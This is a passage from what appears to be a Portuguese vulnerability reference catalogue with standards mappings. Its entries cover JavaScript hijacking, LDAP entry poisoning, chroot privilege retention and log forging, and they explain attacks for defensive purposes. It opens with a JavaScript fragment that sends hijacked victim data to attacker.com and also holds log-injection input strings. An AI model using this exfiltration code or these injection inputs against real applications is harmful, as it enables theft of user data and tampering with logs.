req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Um aplicativo que executa uma pesquisa LDAP de retorno de objeto permitirá que invasores controlem a resposta LDAP para executar código arbitrário no servidor.
Explanation
Um invasor capaz de adulterar uma resposta LDAP, seja modificando a entrada em repouso ou interceptando e modificando a resposta em tempo real (ataque man-in-the-middle), será capaz de injetar atributos Java especiais na entrada LDAP. Ao realizar uma pesquisa de retorno de objeto, os atributos Java são decodificados como objetos Java usando a desserialização Java ou cancelamento de referência JNDI, permitindo que os invasores obtenham a execução remota de código no servidor de aplicativos que está executando a pesquisa.

O aplicativo executa uma pesquisa de retorno de objeto, definindo o returningObjectFlag como true na instãncia javax.naming.directory.SearchControls passada para o método search ou usando uma função de biblioteca que define este sinalizador em seu nome.

Nesse caso, o aplicativo está usando o módulo de autorização Spring Security LDAP que executa pesquisas de retorno de objeto e, portanto, é vulnerável ao envenenamento da entrada do LDAP.

Exemplo: O arquivo de configuração Beans a seguir configura o aplicativo para usar o módulo LDAP Spring Security como o provedor de autenticação.


<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
References
[1] Introducing JNDI Injection and LDAP Entry Poisoning OpenText Fortify
[2] A Journey from JNDI/LDAP manipulation to remote code execution dream land BlackHat
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 20
[11] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[12] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[13] Standards Mapping - Common Weakness Enumeration Top 25 2021 [4] CWE ID 020
[14] Standards Mapping - Common Weakness Enumeration Top 25 2022 [4] CWE ID 020
[15] Standards Mapping - Common Weakness Enumeration Top 25 2023 [6] CWE ID 020
[16] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[17] Standards Mapping - FIPS200 SI
[18] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[19] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[20] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[21] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[22] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2010 A1 Injection
[24] Standards Mapping - OWASP Top 10 2013 A1 Injection
[25] Standards Mapping - OWASP Top 10 2017 A1 Injection
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements (L1 L2 L3), 5.1.4 Input Validation Requirements (L1 L2 L3)
[28] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[29] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
desc.configuration.java.ldap_entry_poisoning
Abstract
O nível de privilégio elevado necessário para realizar operações como chroot() deve ser reduzido imediatamente após a conclusão da operação.
Explanation
Quando um programa chamar uma função privilegiada, como chroot(), ele primeiro deverá adquirir o privilégio de root. Assim que a operação privilegiada for concluída, o programa deverá reduzir o privilégio de root e retornar ao nível de privilégio do usuário responsável pela invocação.
Exemplo: O código a seguir chama chroot() para restringir o aplicativo a um subconjunto do sistema de arquivos abaixo de APP_HOME para impedir que um invasor utilize o programa para obter acesso não autorizado a arquivos localizados em outros lugares. Em seguida, o código abre um arquivo especificado pelo usuário e processa o conteúdo desse arquivo.


...
chroot(APP_HOME);
chdir("/");

FILE* data = fopen(argv[1], "r+");
...


Restringir o processo no diretório base do aplicativo antes de abrir qualquer arquivo consiste em medida de segurança valiosa. No entanto, a ausência de uma chamada para setuid() com um valor diferente de zero significa que o aplicativo continua a operar com privilégios de root desnecessários. Qualquer exploração bem-sucedida realizada por um invasor contra o aplicativo pode agora resultar em um ataque de escalonamento de privilégios, já que qualquer operação mal-intencionada será executada com os privilégios do superusuário. Se o aplicativo reduzir o nível de privilégio de um usuário não root, o potencial de danos será substancialmente reduzido.
References
[1] A. Chuvakin Using Chroot Securely
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 1.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 272
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [22] CWE ID 269
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1), CM-7 Least Functionality (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-6 Least Privilege, CM-7 Least Functionality
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.3 Access Control Architectural Requirements (L2 L3), 1.4.3 Access Control Architectural Requirements (L2 L3), 10.2.2 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[15] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 7.1.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 7.2.2
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[49] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.controlflow.cpp.least_privilege_violation
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de um objeto de solicitação. O valor é registrado em seguida.


...
DATA log_msg TYPE bal_s_msg.

val = request->get_form_field( 'val' ).

log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.

CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...


Se um usuário enviar a string "FOO" para val, a seguinte entrada será registrada:


XY E 123 VAL: FOO


No entanto, se um invasor enviar a string "FOO XY E 124 VAL: BAR", a seguinte entrada será registrada:


XY E 123 VAL: FOO XY E 124 VAL: BAR


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.abap.log_forging
Abstract
A gravação da entrada do usuário em arquivos de log pode permitir que um invasor falsifique entradas de log ou injete conteúdo mal-intencionado nos logs.
Explanation
Vulnerabilidades de falsificação de log ocorrem quando:

1. Os dados entram no aplicativo por uma fonte não confiável.

2. Os dados são gravados em um arquivo de log de aplicativo ou sistema.

Em geral, aplicativos usam arquivos de log para armazenar um histórico de eventos ou transações para análise posterior, coleta de estatísticas ou depuração. Dependendo da natureza do aplicativo, a tarefa de analisar arquivos de log pode ser realizada manualmente conforme necessário ou automatizada com uma ferramenta que examina os logs automaticamente em busca de eventos importantes ou informações que possam definir tendências.

A interpretação dos arquivos de log pode ser impedida ou equivocada se um invasor puder fornecer dados ao aplicativo que mais tarde são registrados textualmente. No caso mais benigno, um invasor pode ser capaz de inserir entradas falsas no arquivo de log, fornecendo ao aplicativo uma entrada que inclui caracteres apropriados. Se o arquivo de log for processado automaticamente, o invasor poderá tornar o arquivo inutilizável, corrompendo seu formato ou injetando caracteres inesperados. Um ataque mais sutil pode envolver a distorção das estatísticas do arquivo de log. Falsificados ou não, os arquivos de log corrompidos podem ser usados para apagar o rastro do invasor ou até mesmo para implicar terceiros na prática de um ato mal-intencionado [1]. Na pior das hipóteses, um invasor pode injetar código ou outros comandos no arquivo de log e tirar proveito de uma vulnerabilidade no utilitário de processamento de log [2].

Exemplo: O seguinte código de aplicativo Web tenta ler um valor de número inteiro de um objeto de solicitação. Se não for possível analisar o valor como um número inteiro, a entrada será registrada em log com uma mensagem de erro indicando o que aconteceu.


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}


Se um usuário enviar a string "twenty-one" para val, a seguinte entrada será registrada:


Failed to parse val=twenty-one


No entanto, se um invasor enviar a string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", a seguinte entrada será registrada:


Failed to parse val=twenty-one

User logged out=badguy


Claramente, os invasores podem usar esse mesmo mecanismo para inserir entradas de log arbitrárias.
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
